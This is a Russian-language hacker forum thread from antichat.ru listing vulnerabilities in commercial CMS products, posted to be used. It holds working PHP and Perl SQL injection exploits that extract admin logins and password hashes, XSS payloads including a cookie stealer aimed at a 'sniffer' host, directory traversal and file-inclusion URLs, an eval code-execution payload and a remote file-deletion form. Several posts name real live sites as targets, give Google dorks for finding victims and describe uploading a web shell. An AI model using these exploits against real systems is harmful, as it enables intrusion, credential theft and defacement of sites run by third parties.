Обзор уязвимостей в платных CMS

Discussion in 'Веб-уязвимости' started by Roba, 10 Jan 2008.

  1. OptimaPrime

    OptimaPrime Banned

    Joined:
    30 Mar 2007
    Messages:
    307
    Likes Received:
    588
    Reputations:
    -61
    Ultraseek

    XSS:

    Code:
    http://site/highlight/index.html?url=http://forum.antichat.ru.html&fterm=test&la=en&charset=utf-8&search=../query.html%3Fcharset%3Dutf-8%26qt%3Dtest
    Directory Traversal:

    http://site/help/syntax.html?la=/../../index

    http://site/help/searchtips.html?la=/../../index

    http://site/help/refine.html?la=/../../index

    http://site/help/special.html?la=/../../index

    http://site/help/boolean.html?la=/../../index

    http://site/help/meta.html?la=/../../index

    Local File Inclusion:


    http://site/help/syntax.html?la=/../query

    http://site/help/searchtips.html?la=/../query

    http://site/help/refine.html?la=/../query

    http://site/help/special.html?la=/../query

    http://site/help/boolean.html?la=/../query

    http://site/help/meta.html?la=/../query
     
  2. OptimaPrime

    OptimaPrime Banned

    Joined:
    30 Mar 2007
    Messages:
    307
    Likes Received:
    588
    Reputations:
    -61
    CMS SiteEdit

    XSS:

    Code:
    http://site/shop?se_namedomen=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
    Уязвимость в скрипте shop в параметре se_namedomen

    Code:
    http://site/thanks?formobj_email=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
    В скрипте thanks в параметрах formobj_email, formobj_message, formobj_edit, formobj_name, formobj_company, formobj_jobtitle, formobj_site, formobj_address, formobj_telephone, formobj_img, formobj_GoTo, autoreply_text

    Code:
    http://site/registration?login=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
    В скрипте registration в параметрах login, email, first_name, last_name.


    Уязвимости на офф.сайте движка http://www.siteedit.ru


    Code:
    http://www.siteedit.ru/thanks?autoreply_text=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
    Code:
    http://www.siteedit.ru/thanks?autoreply_text=%22%3E%3Ca%20href=http://forum.antichat.ru%3Eantichat%3C/a%3E
    Code:
    http://www.siteedit.ru/registration?last_name=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
     
  3. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    SoSo News Express Pro 2.0.4. Blind SQL Injection Exploit (к сожалению, поковыряться удалось только в этой версии)

    Уязвимый код:
    В файле includes/info_home.php:
    Code:
    $this->client_ip=!empty($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : ( !empty($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : (!empty($REMOTE_ADDR) ? $REMOTE_ADDR : '' ));
    В файле modules/ajax/ajax_statistic.php:
    Code:
    $DB->query("SELECT session_time FROM ". $DB->prefix ."stat_session WHERE client_ip='". $Info->client_ip ."' AND session_time>=". $update_time ." ORDER BY session_time DESC LIMIT 0,1");
    Как видим, поле X_FORWARDED_FOR заголовка запроса, не фильтруется.

    Т.к. полученый Sql inj - слепой, но с выводом ошибки, используем запрос:
    Code:
    X_FORWARDED_FOR:-1' OR client_ip=IF(ascii(substring((SELECT user_password FROM news_user WHERE user_id=1),[B][POS][/B],1))=[B][CHARCODE][/B],'1',(SELECT 1 UNION SELECT 2))/*
    Если запрос, НЕ вернул ошибку "Subquery returns ...", то на этой позиции находится символ [CHARCODE].

    Сплоит запускать из коммандной строки, вот так: soso2sql.php http://site.com/ 1

    Результат: md5(password).

    Собственно код:
    Code:
    <?
    
    //SoSo News Express Pro v.2.0.4 Blind SQL Injection Exploit by Qwazar
    //Greets: antichat.ru & Orgasm at #antichat
    $prefix="news_";
    
    set_time_limit(0);
    ignore_user_abort(1);
    
    function send_xpl($url, $xpl){
    	global $id;
    	global $cookie;
    	$u=parse_url($url);
    	$req ="GET ".$u['path']."ajax.php?mod=ajax_statistic HTTP/1.1\r\n";
    	$req.="Host: ".$u['host']."\r\n";
    	$req.="X_FORWARDED_FOR: ".$xpl."\r\n";
    	$req.="Connection: Close\r\n\r\n";
    	$fs=fsockopen($u['host'], 80, $errno, $errstr, 30) or die("error: $errno - $errstr<br>\n");
    	fwrite($fs, $req);
    	while (!feof($fs)) {
      		$res .= fread($fs, 8192);
    	}
    	fclose($fs);
    	return $res;
    }
    
    function xpl($condition, $pos){
    	global $id, $prefix;
    	$xpl="-1' or client_ip=if(ascii(substring((select user_password from ".$prefix."user where user_id=$id),$pos,1))$condition,'1',(select 1 union select 2)) /* ";
    	return $xpl;
    }
    
    if($argc<2)
    {
    echo "==================\r\n";
    echo "Using soso2sql.php url target_id\r\n  target_id - id of target member\r\n\r\n\r\nEx.: soso2sql.php http://www.site.com/ 1\r\n";
    echo "==================\r\n";
    die();
    }
    
    $url=$argv[1];
    $id=$argv[2];
    
    echo $url."\r\n";
    
    echo "Trying to get passhash: ";
    //get md5 pass
    for($i=1;$i<=32;$i++){	
    	$flag = 0;
    	for($j=48;$j<=57;$j++){
    		if(!preg_match('/Subquery returns/', send_xpl($url, xpl('='.$j,$i)))){ $pass.=chr($j); if($j!=48) {echo chr(8);} echo chr($j); $flag=1; break; }
    		else {if($j!=48) {echo chr(8);} echo chr($j);}
    	}
    	if($flag!=1) {
    		for($j=97;$j<=102;$j++){
    			if(!preg_match('/Subquery returns/', send_xpl($url, xpl('='.$j,$i)))){ $pass.=chr($j); echo chr(8).chr($j); $flag=1; break; }
    			else {echo chr(8).chr($j);}
    		}
    	}
    	if (!$flag)
    		die("\r\nExploit failed\r\n");
    }
    
    echo " [DONE]\r\n";
    
    ?>
    
    Скачать можно тут: http://www.x2b.ru/get/1401

    З.Ы.
    Проблема с X_FORWARDED_FOR присутствует и на официальном сайте, а значит наверняка и в более новых версиях.

    Пример:

    Ну и раскрытие пути: http://site/ajax.php (для версии 2.0.4)
     
    2 people like this.
  4. Zahar

    Zahar Banned

    Joined:
    17 Mar 2008
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0
    Огромное спасибо за выложеный баг. Я правда столкнулся с проблемой нахождения логина, пока не очень получаеться, немогли бы вы показать как вытащить логин админа?
    спасибо!
     
    #24 Zahar, 18 Aug 2008
    Last edited by a moderator: 25 Feb 2009
  5. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Вот тебе версия которая после подбора хеша подбирает и логин админа. Подбирает в диапазоне [a-Z,0-9], если будет мало, внимательно поправь значения кодов символов во втором цикле for (в тех что внутри for($i=1;$i<=32;$i++) ).

    Code:
    <?
    
    //SoSo News Express Pro v.2.0.4 Blind SQL Injection Exploit by Qwazar
    //Greets: antichat.ru & Orgasm at #antichat
    $prefix="news_";
    
    set_time_limit(0);
    ignore_user_abort(1);
    
    function send_xpl($url, $xpl){
    	global $id;
    	global $cookie;
    	$u=parse_url($url);
    	$req ="GET ".$u['path']."ajax.php?mod=ajax_statistic HTTP/1.1\r\n";
    	$req.="Host: ".$u['host']."\r\n";
    	$req.="X_FORWARDED_FOR: ".$xpl."\r\n";
    	$req.="Connection: Close\r\n\r\n";
    	$fs=fsockopen($u['host'], 80, $errno, $errstr, 30) or die("error: $errno - $errstr<br>\n");
    	fwrite($fs, $req);
    	while (!feof($fs)) {
      		$res .= fread($fs, 8192);
    	}
    	fclose($fs);
    	return $res;
    }
    
    function xpl($condition, $pos){
    	global $id, $prefix;
    	$xpl="-1' or client_ip=if(ascii(substring((select user_password from ".$prefix."user where user_id=$id),$pos,1))$condition,'1',(select 1 union select 2)) /* ";
    	return $xpl;
    }
    
    function xpl2($condition, $pos){
    	global $id, $prefix;
    	$xpl="-1' or client_ip=if(ascii(substring((select username from ".$prefix."user where user_id=$id),$pos,1))$condition,'1',(select 1 union select 2)) /* ";
    	return $xpl;
    }
    
    if($argc<2)
    {
    echo "==================\r\n";
    echo "Using soso2sql.php url target_id\r\n  target_id - id of target member\r\n\r\n\r\nEx.: soso2sql.php http://www.site.com/ 1\r\n";
    echo "==================\r\n";
    die();
    }
    
    $url=$argv[1];
    $id=$argv[2];
    
    echo $url."\r\n";
    
    echo "Trying to get passhash: ";
    //get md5 pass
    for($i=1;$i<=32;$i++){	
    	$flag = 0;
    	for($j=48;$j<=57;$j++){
    		if(!preg_match('/Subquery returns/', send_xpl($url, xpl('='.$j,$i)))){ $pass.=chr($j); if($j!=48) {echo chr(8);} echo chr($j); $flag=1; break; }
    		else {if($j!=48) {echo chr(8);} echo chr($j);}
    	}
    	if($flag!=1) {
    		for($j=97;$j<=102;$j++){
    			if(!preg_match('/Subquery returns/', send_xpl($url, xpl('='.$j,$i)))){ $pass.=chr($j); echo chr(8).chr($j); $flag=1; break; }
    			else {echo chr(8).chr($j);}
    		}
    	}
    	if (!$flag)
    		die("\r\nExploit failed\r\n");
    }
    echo " [DONE]\r\n";
    
    echo "Trying to get username: ";
    for($i=1;$i<=32;$i++){
    	$flag = 0;
    	for($j=48;$j<=57;$j++){
    		if(!preg_match('/Subquery returns/', send_xpl($url, xpl2('='.$j,$i)))){ $secret.=chr($j); if($j!=48) {echo chr(8);} echo chr($j); $flag=1; break; }
    		else {if($j!=48) {echo chr(8);} echo chr($j);}
    	}
    	if($flag!=1) {
    		for($j=65;$j<=90;$j++){
    			if(!preg_match('/Subquery returns/', send_xpl($url, xpl2('='.$j,$i)))){ $secret.=chr($j); echo chr(8).chr($j); $flag=1; break; }
    			else {echo chr(8).chr($j);}
    		}
    	}
    	if($flag!=1) {
    		for($j=97;$j<=122;$j++){
    			if(!preg_match('/Subquery returns/', send_xpl($url, xpl2('='.$j,$i)))){ $secret.=chr($j); echo chr(8).chr($j); $flag=1; break; }
    			else {echo chr(8).chr($j);}
    		}
    	}
    	if($flag!=1) {
    		echo chr(8);
    		break;
    	}
    } 
    
    echo " [DONE]\r\n";
    
    ?>
    Скачать можно с: http://www.x2b.ru/get/1426
     
  6. ~!DoK_tOR!~

    ~!DoK_tOR!~ Banned

    Joined:
    10 Nov 2006
    Messages:
    673
    Likes Received:
    357
    Reputations:
    44
    CustomCMS 4.0 (CCMS) print.php Remote SQL Injection Vulnerability

    print.php

    Vuln code:

    PHP:
    $q mysql_query("SELECT * from ccms_news_comments WHERE w_id='$id'");
    magic_quotes_gpc = Off

    http://localhost/[installdir]/

    Exploit:


    Code:
    print.php?id='+union+select+1,concat_ws(0x3a,usern ame,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,1 7,18,19,20,21+from+ccms_user+where+userid=1/*
    http://milw0rm.com/exploits/6284
    (c) ~!Dok_tOR!~
     
    #26 ~!DoK_tOR!~, 22 Aug 2008
    Last edited: 25 Aug 2008
  7. ~!DoK_tOR!~

    ~!DoK_tOR!~ Banned

    Joined:
    10 Nov 2006
    Messages:
    673
    Likes Received:
    357
    Reputations:
    44
    PlayCMS <= 2.0 SQL Injection

    Type: Game Script
    Price: $20
    URL: www.playcms.com
    Condition: magic_quotes_gpc = Off

    Exploit:

    http://localhost/[installdir]/game.php?gameid=-1'+union+select+1,user(),version(),4,5,6,database(),8/*

    http://localhost/[installdir]/index.php?gameid=-1'+union+select+1,2,3,4,5,6,7,8/*

    (c) ~!Dok_tOR!~
     
  8. Roba

    Roba Banned

    Joined:
    24 Oct 2007
    Messages:
    237
    Likes Received:
    299
    Reputations:
    165
    Vastal I-Tech CMS

    Оф.сайт: vastal.com


    Дата: 05.09.2008
    Первоисточник: milw0rm.com
    Описание:
    Уязвимость существует из-за недостаточной фильтрации входящего параметра, передаваемого через $_GET массив,
    атакуещему позволяет провести SQL - инъекцию.​
    Способы устранения уязвимости:
    проводить жесткую фильтрацию параметров перед передачей их в SQL - запрос.
    Подробнее:

    Уязвимые компоненты:
    От меня:
    Компонент: Mag Zone (mag_id)
    Code:
    #!/usr/bin/perl
    
    use LWP::UserAgent;
    use strict;
    
    my ($ua,$answ);
    
    &usage;
    
    if(!$ARGV[2]) {print "\n\nProxy not found :d";}
    else {print "\n\nProxy found, $ARGV[2]";}
    
    print "\n\n[~]Waiting...\n[~]Getting data -- [ user_name, password ]";
    $ua=LWP::UserAgent->new;
    $ua->agent("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727");
    if($ARGV[2]){
    	        $ua->proxy('http',"http://".$ARGV[2]."/");
    		  }
    
    $answ = $ua->get("http://$ARGV[0]/view_mag.php?mag_id=-1+union+select+1,2,3,concat(0x3a3a3a,user_name,0x3a,password,0x3a3a3a),5,6,7,8,9,10,11,12,13,14,15,16,17+from+members/*")->content;
    $answ =~m#:::(.+):(.+):::#;
    if(!$1) {print "\nExploit failed!";}
    else { print "\n\nlogin : $1\npassword : $2\n"; }
    
    sub usage
    {
        print q
        {
         ######################################################################
                  Vastal I-Tech Mag Zone (mag_id) SQL Injection Exploit   
          
    	 INFO:
    	    Author: ZAMUT
    	    Vuln: mag_id=
    	    Homepage: http://antichat.ru
    
         Usage: exploit.pl [path] [proxy]
         Example:
         perl exploit.pl www.vastal.com/mag 62.123.110.134:8080 
         ######################################################################
        };
    
    }
    
    Используется так:
    perl exploit.pl [полный путь до скрипта] [прокси:порт]
    Пример:
    perl exploit.pl www.vastal.com/mag 62.123.110.134:8080 или
    perl exploit.pl www.vastal.com/mag​
    Поддержка только http - прокси.
     
    #28 Roba, 6 Sep 2008
    Last edited: 6 Sep 2008
  9. Roba

    Roba Banned

    Joined:
    24 Oct 2007
    Messages:
    237
    Likes Received:
    299
    Reputations:
    165
    E-phpscripts CMS Arya

    Оф.сайт: ephpscripts.com
    Дата: 09.09.08
    Автор: ZAMUT
    Дорк: inurl:article.php es_id

    Описание:
    Уязвимость существует из-за недостаточной фильтрации входящего параметра, передаваемого через $_GET массив,
    атакуещему позволяет провести SQL - инъекцию.​
    Способы устранения уязвимости:
    проводить жесткую фильтрацию параметров перед передачей их в SQL - запрос.
    Подробнее:
    Ограничения: Нету

    Эксплоит:
    PHP:
    /article.php?es_id=-1+union+select+1,concat_ws(0x3a,es_username,es_password),3,4,5,6,7,8,9,10,11,12,13,14,15+from+esnm_admin/*&cid=2
    Структура бд:
    Code:
    Table [information_schema]
    Table [VIEWS]
         TABLE_SCHEMA
         TABLE_NAME
         VIEW_DEFINITION
         CHECK_OPTION
         IS_UPDATABLE
         DEFINER
         SECURITY_TYPE
    Table [alpinein_cmsalpine]
    Table [es_country]
         id
    Table [esnm_admin]
         es_username
         es_password
         es_level
         es_blocked
    Table [esnm_announcements]
         es_text
         es_type
         es_temp
         es_postedon
    Table [esnm_articles]
         es_title
         es_sum
         es_desc
         es_img
         es_hide
         tempdate
         es_date
         es_postedon
         es_modifiedon
         es_uid
         es_cid
         es_top_banner
         es_left_banner
         es_order_index
    Table [esnm_categories]
         es_cat_name
         es_pid
         es_status
         es_cat_description
         es_top_banner
         es_left_banner
         es_order_index
    Table [esnm_config]
         es_site_name
         es_site_root
         es_html_header
         es_html_footer
         es_recperpage
         es_image_size
         es_site_keywords
         es_thumb_size
         es_mem_approval
         es_signup_verification
         es_null_char
         es_admin_email
         es_logincheck
         es_welcome_msg
         es_general_notice
    Table [esnm_country]
         id
    Table [esnm_events]
         es_title
         es_desc
         tempdate
         es_postedon
         es_approved
         es_featured
    Table [esnm_feedback]
         es_fname
         es_lname
         es_email
         es_url
         es_title
         es_comments
    Table [esnm_form_fields]
         es_type
         es_name
         es_label
         es_int_value
         es_req
         es_display
         es_width
         es_num_lines
         es_is_num
         es_formid
         es_order_index
    Table [esnm_forms]
         es_title
         es_submit_mail
    Table [esnm_front_cats]
         es_cid
         es_show_desc
         es_rec
         es_order
    Table [esnm_mails]
         es_mailid
         es_fromid
         es_title
         es_subject
         es_mail
         es_status
         es_html_format
    Table [esnm_members]
         es_username
         es_password
         es_label
         es_firstname
         es_lastname
         es_email
         es_street
         es_city
         es_state
         es_zip
         es_country
         tempdate
         es_ondate
         es_lastlogin
         es_suspended
         es_phone
         es_mobile
         es_paid
         es_general_notice
    Table [esnm_pages]
         es_title
         es_contents
         es_top_banner
         es_left_banner
    Table [esnm_signups]
         es_rnum
         es_email
         es_onstamp
    Table [esnm_subscribers]
         es_name
         es_email
    Table [esnm_subscribers1]
         es_name
         es_email
    Table [esnm_testimonials]
         es_desc
         es_from
         tempdate
         es_postedon
    
    Пример:
    Code:
    prescare.org.au/article.php?es_id=-1+union+select+1,concat_ws(0x3a,es_username,es_password),3,4,5,6,7,8,9,10,11,12,13,14,15+from+esnm_admin/*&cid=2
     
    2 people like this.
  10. Roba

    Roba Banned

    Joined:
    24 Oct 2007
    Messages:
    237
    Likes Received:
    299
    Reputations:
    165
    InterTech WCMS SQL-injection Exploit

    Оф.сайт: intertech-pal.com
    Дата: 30.09.08
    Первоисточник: http://www.securitylab.ru/vulnerability/360260.php (эксплоита нет)
    Дорк: "Designed by: InterTech Co" id

    Описание:
    Уязвимость существует из-за недостаточной (или ее отсутствии вовсе) фильтрации входящего параметра, передаваемого через $_GET массив,
    атакуещему позволяет провести SQL - инъекцию.​
    Способы устранения уязвимости:
    проводить жесткую фильтрацию параметров перед передачей их в SQL - запрос.
    Подробнее:
    Ограничения: Нету

    Эксплоит:
    PHP:
    <?php

    // Coded by ZAMUT

    $host 'www.intertech-pal.com'# Сайт
    $path '/panorama2/'# Путь до скрипта
    $port 80# Порт

    echo "Exploiting $host<br><br>";
    $sock fsockopen($host,$port);
    if(!
    $sock)die("failed\n"); else echo "Connecting $host .. -OK<br><br>";


    $packet "GET http://{$host}{$path}etemplate.php?id=-1+union+select+1,2,3,concat(0x3a3a3a,username,0x3a,password,0x3a3a3a),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+users+limit+0,1/* HTTP/1.0\r\n";
    $packet.= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,";
    $packet.= "application/x-shockwave-flash, application/vnd.ms-excel, application/msword, */*\r\n";
    $packet.= "Accept-Language: ru\r\n";
    $packet.= "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
    $packet.= "Proxy-Connection: Keep-Alive\r\n";
    $packet.= "Host: {$host}\r\n";
    $packet.= "Connection: close\r\n\r\n";
    fputs($sock,$packet);

    while(!
    feof($sock))
    {
            
    $resp.=fgets($sock,512);
            if(
    preg_match("/:::(.+):::/",$resp,$m)){ break; }
    }
    fclose($sock);

    echo 
    "Data (Username, password):<br>";
    echo 
    "$m[1]<br>";

    ?>
     
    1 person likes this.
  11. Corwin

    Corwin Elder - Старейшина

    Joined:
    1 Aug 2008
    Messages:
    0
    Likes Received:
    15
    Reputations:
    0
    Xpoz SQL-INJECTION, XSS

    с этим адвайсом получилась странная история - после отправки строку на милворм, через 2 дня я увидел его(в урезанном виде) на милворме, но авторство принадлежало каким-то непонятным хенкерам, на что str0ke только развел руками и сказал что они прислали на день раньше. :confused: ну да не важно, все-таки выложу здесь.

    ================================================== ==============================
    || Xpoz SQL-INJECTION, XSS
    ================================================== ==============================

    Application: Xpoz PRO (Expoze Photo Store)

    Website: http://xpoze.org

    Version: All(current 1.0)

    About: Xpoze is a photo store very easy to use, yet having lots of features to help buyers and sellers to find or sell images after their needs.

    Googledork: Powered by Powered by Xpoze.org

    Date: 01-07-2008

    Description:
    Множественные уязвимости типа SQL-injection, Blind-injection, активные и пассивные XSS.

    [ SQL-INJECTION ]

    some...

    http://host/home.html?menu=1[SQL]
    http://host/user.html?uid=1[SQL]
    http://host/account/admin/edite.html?eid=1[SQL]
    http://host/video.html?limiter=0&c=1[SQL]

    And other vulnerable files:
    ---------------------------
    // $p=[admin, editor, user, photo]

    [ members/$p/edite.inc ]

    PHP:
     12:   if (isset($delete)) {           $ph mysql_query("SELECT * FROM `photos` WHERE `id`='$delete'") or die(mysql_error());           $row mysql_fetch_assoc($ph);           $url "../photos/".$row['photo'];           $thumb_url "../thumbs/".$row['photo'];     18:   mysql_query("DELETE from `photos` WHERE `id`='$delete'") or die(mysql_error()); 
    187(171 or 163):     $ph mysql_query("SELECT * FROM `photos` WHERE `hash`='$hash'") or die(mysql_error());
    [ members/$p/editp.inc ]

    PHP:
     $sql mysql_query("SELECT * FROM `photos` WHERE `id`='$pid'") or die(mysql_error());
    [ include/img.rating.php ]

    PHP:
     $rat mysql_query("SELECT * FROM `ratings` WHERE `photo`='$id'") or die(mysql_error());             $rates mysql_num_rows($rat);
    ETC...

    ===>>> Exploit:

    http://host/user.html?uid=-1%20union%20select%201,user,1,1,1,pass,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20users%20limit%203,1/*

    (!) Пароль в БД в открытом виде (!)

    [ ACTIVE XSS ]

    В форуме отсутствует фильтрация полей темы и сообщения.

    ===>>> Exploit:

    <script>img = new Image(); img.src = "http://sniffer/sniff.jpg?"+document.cookie;</script>

    [ PASSIVE XSS :) ]

    http://host/?tpl=[XSS]


    PHPInfo - http://host/info.php
     
    1 person likes this.
  12. fominsa

    fominsa New Member

    Joined:
    12 Nov 2008
    Messages:
    5
    Likes Received:
    3
    Reputations:
    0
    shop-script 1.24

    shop-script 1.24
    скрипт - один из самых распрастраненых движков интернет магазина. сейчас сняли с продажи, так как запустили новый скрипт. но shop-script 'ом все еще активно пользуются и не спешат переходить на новый продукт.

    magic_quotes_gpc = OFF

    Sql Injection:
    проверка на уязвимость:
    PHP:
    http://fanataudio.ru/cart.php?add2cart=120000%23'+OR+ascii(substring((select+Login+from+SS_customers+where+customerID%3D1)%2C1%2C1))>0+and+''%3D'
    если товар (любой) добавился то сайт уязвим

    уязвимая переменная add2cart
    так как поля не выводятся то вытащить пароль админа можно перебором по буковке.
    пароль зашифрован base64 тоесть открыт
    логин не зашифрован, в 99.9% админ это юсер с customerID=1
    и в 80% его логин admin

    google: inurl:"index.php?feedback=yes"
    примерно 1500 сайтов


    приведен реальный пример уязвимого сайта


    кстати для тех кто взламал логин/пароль магазина: добавить шелл можно через добавление нового товара. просто указываете что товар является програмой. в путь выбираете любой файл шелла
    не забудьте перед тем как добавить шелл залить файл .htaccess со значением Allow from all
     
    2 people like this.
  13. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    Post Affiliate Pro <=3.0.6 Code Execution

    Post Affiliate Pro

    Версия: 3.0.6 и более ранние
    Дорк: inurl:affiliates intext:"version 3.0." "generated in" "DB Requests"

    Уязвимый код:

    /affiliate/include/Affiliate/Merchants/Views/ResourceBrowser.class.php:

    PHP:
    function process() {
            if(!empty(
    $_REQUEST['action'])) {
                switch(
    $_REQUEST['action']) {
                    case 
    'addheader':
                        
    $this->processAddHeader();
                        break;
                    
    /**/
                
    }
            }
    PHP:
    function processAddHeader() {
            if(
    $_REQUEST['commited'] == 'yes') {
                
    $name $_REQUEST['header_name'];
                
    $caption $_REQUEST['header_caption'];
                if(!empty(
    $name) && !empty($caption)) {
                    
    $this->menu->createMenuHeader($name$caption);
                    
    $this->menu->save();
                    return 
    true;
                } 
    /**/
        
    }
    /affiliate/include/QUnit/UI/Menu.class.php

    PHP:
    function createMenuHeader($name$caption) {
            if(
    $caption != '') eval("\$caption = $caption;");
            
    /**/
        
    }
    Эксплоит:
    /affiliate/merchants/styles.php?md=Affiliate_Merchants_Views_ResourceBrowser&action=addheader&commited=yes&header_name=lolol&header_caption=phpinfo()
     
    1 person likes this.
  14. OptimaPrime

    OptimaPrime Banned

    Joined:
    30 Mar 2007
    Messages:
    307
    Likes Received:
    588
    Reputations:
    -61
    Citrix NetScaler v.7

    Уязвимый Файл: generic_api_call.pl

    XSS:

    Code:
    http://site/ws/generic_api_call.pl?function=statns&stan
    dalone=%3c/script%3e%3cscript%3ealert(document.cookie)%3c/script%3e%3cscript%3e
     
    #34 OptimaPrime, 11 Jan 2009
    Last edited: 11 Jan 2009
  15. Iceangel_

    Iceangel_ Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    494
    Likes Received:
    532
    Reputations:
    158
    Продукт: ArticleLive (Interspire Website Publisher)
    Версия: NX.1.7.1.2(возможно и более ранние версии)
    Веб-сайт разработчика:http://www.interspire.com/
    Цена:$249
    Уязвимый скрипт:blogs.php?id={SQL-injection}

    Пример:
    Code:
    http://www.journalismproject.ca/english_new/blogs.php?id=-768+union+select+1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,144,15,16,17,18,19,20,21,22,23,24,25,26,27+from+ArticleLive_users+limit+0,1--
    (c) IceAngel_
     
    #35 Iceangel_, 11 Jan 2009
    Last edited: 11 Jan 2009
    2 people like this.
  16. z00MAN

    z00MAN Banned

    Joined:
    20 Nov 2008
    Messages:
    360
    Likes Received:
    276
    Reputations:
    41
    DMXReady Scripts
    http://www.dmxready.com​

    Уязвимость: Remote Files Delete Vulnerability​


    Продукт: DMXReady Blog Manager <= 1.1
    Цена: 199.97 $
    Dork : inurl:inc_webblogmanager.asp
    PHP:
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <
    html xmlns="http://www.w3.org/1999/xhtml">
    <
    head>
    <
    meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <
    title>ajann Exp</title>
    </
    head>

    <
    body>
    <
    p>Delete File : )</p>
    <
    p>Form Actionhttp://target/[path]/includes/shared_scripts/wysiwyg_editor/assetmanager/assetmanager.asp?ffilter=</p>
    <form id="form1" name="form1" method="post" action="http://target/[path]/includes/shared_scripts/wysiwyg_editor/assetmanager/assetmanager.asp?ffilter=">
      <
    label>
      <
    input type="hidden" name="inpCurrFolder" value="" />
      </
    label>
      <
    p>
        <
    label>
        
    Delete File Path:
        <
    input type="text" name="inpFileToDelete" value="/shots/index.asp">
        </
    label
        
    etc..
    </
    p>
      <
    p>
        <
    label>
        <
    input type="submit" name="ff" id="ff" value="Submit" />
        </
    label>
      </
    p>
    </
    form>
    <
    p><br />
    </
    p>
    </
    body>
    </
    html>
    Уязвимость: Contents Change Vulnerability​

    Продукт: DMXReady PayPal Store Manager <= 1.1
    Цена: 129.97 $
    Dork: inurl:inc_paypalstoremanager.asp

    Permissions:
    Update
    Delete
    Insert Category / Sub Category
    Image Upload


    You Find -> http://[target]/[path]//applications/PayPalStoreManager/inc_paypalstoremanager.asp
    Edit -> http://[target]/[path]//admin/PayPalStoreManager/CategoryManager/list.asp

    Продукт: DMXReady Photo Gallery Manager <= 1.1
    Цена: 39.97 $
    Dork: inurl:inc_photogallerymanager.asp
    Permissions:
    Update
    Delete
    Insert Category / Sub Category
    Image Upload



    You Find -> http://[target]/[path]//applications/PhotoGalleryManager/inc_photogallerymanager.asp
    Edit -> http://[target]/[path]//admin/PhotoGalleryManager/add_category.asp


    Продукт: DMXReady Registration Manager <= 1.1
    Цена: 49.97 $
    Dork: inurl:inc_registrationmanager.asp

    Permissions:
    Update
    Delete
    Insert Category / Sub Category


    You Find -> http://[target]/[path]//applications/RegistrationManager/inc_registrationmanager.asp
    Edit -> http://[target]/[path]//admin/RegistrationManager/add_category.asp

    Продукт: DMXReady BillboardManager <= 1.1
    Цена: 49.97 $

    Permissions:
    Update
    Delete
    Insert Category / Sub Category


    You Find -> http://[target]/[path]//applications/BillboardManager/
    Edit ->
    http://www.demo.dmxready.com/admin/BillboardManager/add_category.asp

    Уязвимость: Remote Contents Change Vulnerability​



    Продукт: DMXReady Catalog Manager <= 1.1
    Цена: 149.97 $
    Dork: inurl:inc_catalogmanager.asp

    Permissions:
    Update
    Delete
    Insert Category / Sub Category


    You Find -> http://[target]/[path]//applications/RegistrationManager/inc_registrationmanager.asp
    Edit -> http://[target]/[path]//admin/RegistrationManager/add_category.asp

    Продукт: DMXReady Contact Us Manager <= 1.1
    Цена: 49.97 $
    Dork: inurl:inc_contactusmanager.asp

    Permissions:
    Update
    Delete
    Insert Category / Sub Category
    Image Upload


    You Find -> http://[target]/[path]//applications/ContactUsManager/inc_contactusmanager.asp
    Edit -> http://[target]/[path]//admin/ContactUsManager/add_category.asp

    Продукт: DMXReady Document Library Manager <= 1.1
    Цена: 39.97 $
    Dork: inurl:inc_documentlibrarymanager.asp

    Permissions:
    Update
    Delete
    Insert Category / Sub Category
    Image Upload


    You Find -> http://[target]/[path]//applications/DocumentLibraryManager/inc_documentlibrarymanager.asp
    Edit -> http://[target]/[path]//admin/DocumentLibraryManager/add_category.asp

    Продукт: DMXReady Faqs Manager <= 1.1
    Цена: 24.97 $
    Dork: inurl:inc_faqsmanager.asp

    Permissions:
    Update
    Delete
    Insert Category / Sub Category
    Image Upload


    You Find -> http://[target]/[path]//applications/FaqsManager/inc_faqsmanager.asp
    Edit -> http://[target]/[path]//admin/FaqsManager/add_category.asp

    Продукт: DMXReady Job Listing <= 1.1
    Цена: 49.97 $
    Dork: inurl:inc_joblistingmanager.asp

    Permissions:
    Update
    Delete
    Insert Category / Sub Category
    Image Upload


    You Find -> http://[target]/[path]//applications/JobListingManager/inc_joblistingmanager.asp
    Edit -> http://[target]/[path]//admin/JobListingManager/CategoryManager/list.asp

    Продукт: DMXReady Links Manager <= 1.1
    Цена: 24.97 $
    Dork: inurl:inc_linksmanager.asp

    Permissions:
    Update
    Delete
    Insert Category / Sub Category


    You Find -> http://[target]/[path]//applications/LinksManager/inc_linksmanager.asp
    Edit -> http://[target]/[path]//admin/LinksManager/add_category.asp

    Уязвимость: SQL Injection Vulnerability


    Продукт: DMXReady Classified Listings Manager <= 1.1
    Цена: 99.97 $
    Dork: inurl:inc_classifiedlistingsmanager.asp
